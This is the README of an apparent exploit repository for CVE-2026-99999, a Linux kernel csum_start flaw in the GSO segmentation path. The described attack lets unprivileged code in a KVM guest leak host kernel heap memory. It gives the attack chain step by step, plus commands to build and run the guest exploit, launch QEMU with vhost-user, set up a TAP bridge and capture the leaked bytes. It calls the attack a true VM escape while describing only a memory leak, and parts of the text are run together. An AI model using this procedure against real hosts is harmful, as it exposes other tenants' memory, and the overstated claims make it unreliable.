
PoC fonctionnel pour CVE-2026-99999 — véritable évasion de VM pour la faille csum_start du noyau Linux (CVSS 9.3). Fuite de tas de l'invité vers l'hôte. Voir aussi : CVE-2026-99999-analysis (Éducatif).
⚠️ Ceci est un dépôt d'exploit fonctionnel. Il contient du code d'exploit réel qui déclenche la vulnérabilité CVE-2026-99999 dans un environnement KVM/QEMU actif.
📚 Pour une simulation sûre et locale uniquement de la même chaîne d'attaque, voir CVE-2026-99999-analysis (pas de root, pas de réseau, Python pur — idéal pour comprendre le bug sans laboratoire).
CVE-2026-99999 — Bug de validation csum_start IPv4 du noyau Linux dans le chemin de
segmentation GSO. Une VM invitée peut divulguer ~32–64 octets de mémoire tas du noyau hôte
par fragment de paquet sortant.
CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Noyaux affectés : Tous avant les commits de correction :
5.10.272+, 5.15.223+, 6.1.190+, 6.12.113+, 6.18.57+, 7.2.11+Modèle d'attaquant : Code non privilégié à l'intérieur d'une VM invitée KVM.
.
├── README.md ← This file
├── guest/
│ ├── exploit_guest.c ← Exploit (guest side)
│ ├── Makefile
│ └── README.md
└── host/
├── receive_and_dump.py ← Leak detector (host side)
└── setup_bridge.sh ← TAP bridge setup (host side)
1. GUEST: build_crafted_packet()
└── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
↑
csum_start=0 → points at IP header, NOT transport header
2. GUEST → QEMU (vhost-user)
└── Guest enqueues packet via TX virtqueue
└── QEMU reads descriptor → pulls malicious frame
3. HOST KERNEL: GSO segmentation path
└── skb_checksum_help() reads csum_start (0) and csum_offset (0)
└── Writes checksum result to byte 0 = IHL byte
4. HOST KERNEL: IHL corruption
└── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)
5. HOST KERNEL: ip_do_fragment() OOB read
└── Reads 60 bytes of "IP header" when only 20 bytes exist
└── Bytes 20-60 are adjacent host-kernel heap memory!
6. HOST: Outbound fragment
└── Each fragment contains ~32-64 bytes of host-kernel heap memory
└── Captured by receive_and_dump.py on the host bridge
# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help
Nécessite :
-netdev vhost-user,...memfd ou tmpfs# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
-m 2G -smp 2 \
-hda /path/to/guest.img \
-netdev vhost-user,id=net0,chardev=char0 \
-device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
-chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
-enable-kvm \
-nographic
# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose
# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v
Nécessite :
CAP_NET_RAW dans l'invitébridge-nf-call-iptables=1 sur l'hôte (pour le chemin GSO)# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose
# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v
L'exploit nécessite que QEMU puisse lire la mémoire du virtqueue TX de l'invité. Sans mémoire partagée, QEMU ne peut pas lire les descripteurs — les paquets sont mis en file mais jamais transmis.
Pour les tests, utilisez l'une des options suivantes :
# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU
# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region
# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE
Le déclenchement de la CVE nécessite que le noyau hôte traite la trame via le chemin de segmentation GSO. Cela se produit lorsque :
IP_MF (More Fragments) activé — forçant la fragmentationL'exploit active IP_MF dans chaque paquet pour garantir la segmentation GSO.
Le détecteur côté hôte (receive_and_dump.py) identifie CVE-2026-99999 en :
version_ihl & 0x0F > 5)guest/exploit_guest.c ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh ← TAP bridge setup helper script
vhost-user et que le socket existels -la /tmp/vhost.sock-device virtio-net-pci,netdev=net0,csum=off,host_csum=off — activez, ne désactivez pasuname -rIP_MF est défini sur les paquets sortantssudosudo pour la capture de paquets et la configuration TAPPour la recherche en sécurité autorisée dans des environnements de laboratoire isolés UNIQUEMENT. L'utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas de permission écrite de tester est illégale. Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation.